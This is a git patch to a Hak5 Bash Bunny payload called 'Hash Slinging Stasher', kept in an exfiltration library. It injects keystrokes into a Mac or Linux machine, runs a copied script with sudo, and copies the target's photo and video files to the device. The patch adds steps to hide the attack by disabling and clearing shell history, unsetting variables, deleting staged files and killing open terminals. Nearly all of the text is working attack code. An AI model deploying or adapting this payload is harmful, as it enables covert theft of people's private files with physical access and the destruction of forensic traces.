From 1871ceb8e6ffbf67fe87b4b2e9c7dd5ac00f6e2c Mon Sep 17 00:00:00 2001
From: theSW4n <55955671+theSW4n@users.noreply.github.com>
Date: Sat, 1 Feb 2025 09:34:16 -0700
Subject: [PATCH] hak5 PR adjudication

-Export variables where possible
-Also  improved history clearing functionality and un-setting variables
---
 .../HashSlingingStasher/hss_bbscript.sh       |  5 +-
 .../HashSlingingStasher/payload.txt           | 50 ++++++++++++++++---
 2 files changed, 43 insertions(+), 12 deletions(-)

diff --git a/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh b/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh
index 6f0e18f2..769cf69a 100755
--- a/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh
+++ b/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh
@@ -1,11 +1,8 @@
 #!/bin/bash
 
 # Variables (defined by user in payload.txt)
-mountpt=$(mount | grep -i BashBunny | cut -d ' ' -f 3)
+mountpt=$(mount | grep -i $DRIVE_LABEL | cut -d ' ' -f 3)
 lootdir=$mountpt/loot/hss
-target_directory=$(grep -hi hss_target_directory $mountpt/HSS/payload.txt | cut -c 22-)
-target_extensions="$(grep -hi hss_target_extensions $mountpt/HSS/payload.txt | cut -c 23-)"
-find_file_size=$(grep -hi hss_find_file_size $mountpt/HSS/payload.txt | cut -c 20-)
 
 ###### Create loot directory and remove nosferatu if it already exists, which serves as the indicator whether or not the script has fully completed in the past ######
 
diff --git a/payloads/library/exfiltration/HashSlingingStasher/payload.txt b/payloads/library/exfiltration/HashSlingingStasher/payload.txt
index 59e40092..5f40969a 100755
--- a/payloads/library/exfiltration/HashSlingingStasher/payload.txt
+++ b/payloads/library/exfiltration/HashSlingingStasher/payload.txt
@@ -1,15 +1,16 @@
 # Title:         Hash Slinging Stasher for Bash Bunny
 # Description:   Copies files to Bash Bunny udisk from the target OS matching given extensions and file size only if their checksum does not appear in a user defined or generated checksum list, and appends the checksum of copied files to that list.
 # Author:        theSW4n
-# Version:       1.1
+# Version:       1.0
 # Category:      Exfiltration
 # Target:        Tested on MacOS 13.x/14.0, Ubuntu 22.04.3 LTS, Manjaro 23.0.4, and Kali Linux 2023.3 (not compatible with Windows)
 # Attackmodes:   HID, Storage
 
 # Options
 hss_target_directory=/
-hss_target_extensions=jpg jpeg gif bmp raw webp psd orf rw2 flv webm ogg h264 hevc heic heif dng cr2 tiff crw nef pef mov qt mp4 m4p m4v mpg mpe mpv m2v svi 3gp 3g2 mpeg avi wmv mts m2ts ts png
+hss_target_extensions="jpg jpeg gif bmp raw webp psd orf rw2 flv webm ogg h264 hevc heic heif dng cr2 tiff crw nef pef mov qt mp4 m4p m4v mpg mpe mpv m2v svi 3gp 3g2 mpeg avi wmv mts m2ts ts png"
 hss_find_file_size=+10k
+DRIVE_LABEL="BashBunny"
 
 ######## SETUP PHASE ########
 LED SETUP
@@ -92,10 +93,10 @@ QUACK DELAY 500
 QUACK STRING "n"
 QUACK ENTER
 QUACK DELAY 500
-QUACK STRING "udisksctl mount -b /dev/disk/by-label/`ls /dev/disk/by-label/ | grep -i BashBunny`"
+QUACK STRING "udisksctl mount -b /dev/disk/by-label/$DRIVE_LABEL"
 QUACK ENTER
 QUACK DELAY 1500
-QUACK STRING "cp -rf \$(mount | grep -i BashBunny | cut -d ' ' -f 3)/HSS /tmp"
+QUACK STRING "cp -rf \$(mount | grep -i $DRIVE_LABEL | cut -d ' ' -f 3)/HSS /tmp"
 QUACK ENTER
 QUACK DELAY 1500
 QUACK STRING "chmod -R 755 /tmp/HSS"
@@ -107,6 +108,30 @@ QUACK DELAY 500
 QUACK STRING "/bin/bash"
 QUACK ENTER
 QUACK DELAY 500
+QUACK STRING "target_directory=$hss_target_directory"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "export target_directory"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "target_extensions=\""$hss_target_extensions\"""
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "export target_extensions"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "find_file_size=$hss_find_file_size"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "export find_file_size"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "DRIVE_LABEL=$DRIVE_LABEL"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "export DRIVE_LABEL"
+QUACK ENTER
+QUACK DELAY 500
 QUACK STRING "if [ \""\$EUID\"" -ne 0 ]; then \$(find ~+ -name"
 QUACK STRING " \""hss_bbscript.sh\""); else \$(sudo \$(find ~+ -name"
 QUACK STRING " \""hss_bbscript.sh\"")); fi"
@@ -114,27 +139,36 @@ QUACK ENTER
 QUACK DELAY 1000
 sync
 
-
 QUACK STRING "exit"
 QUACK ENTER
 QUACK DELAY 500
+QUACK STRING "export HISTIGNORE=\""*\"""
+QUACK ENTER
+QUACK DELAY 500
 QUACK STRING "cd /"
 QUACK ENTER
 QUACK DELAY 500
 QUACK STRING "rm -rf /tmp/HSS"
 QUACK ENTER
 QUACK DELAY 1500
-QUACK STRING "rm -rf \$(mount | grep -i BashBunny | cut -d ' ' -f 3)/HSS"
+QUACK STRING "rm -rf \$(mount | grep -i $DRIVE_LABEL | cut -d ' ' -f 3)/HSS"
 QUACK ENTER
 QUACK DELAY 1500
-QUACK STRING "udisksctl unmount -b /dev/disk/by-label/`ls /dev/disk/by-label/ | grep -i BashBunny`"
+QUACK STRING "udisksctl unmount -b /dev/disk/by-label/$DRIVE_LABEL"
 QUACK ENTER
 QUACK DELAY 1500
-QUACK STRING "diskutil eject \$(mount | grep -i BashBunny | cut -d ' ' -f 3)"
+QUACK STRING "diskutil eject \$(mount | grep -i $DRIVE_LABEL | cut -d ' ' -f 3)"
 QUACK ENTER
 QUACK DELAY 2000
+QUACK STRING "unset target_directory & unset target_extensions & unset find_file_size & unset DRIVE_LABEL"
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING "history -c && history -w"
+QUACK ENTER
+QUACK DELAY 500
 QUACK STRING "killall qterminal & killall gnome-terminal- & killall Terminal & killall xterm & killall konsole & killall lxterminal & killall urxvt & killall st & killall alacritty & killall xfce4-terminal & killall tilda"
 QUACK ENTER
+QUACK DELAY 500
 sync
 
 LED FINISH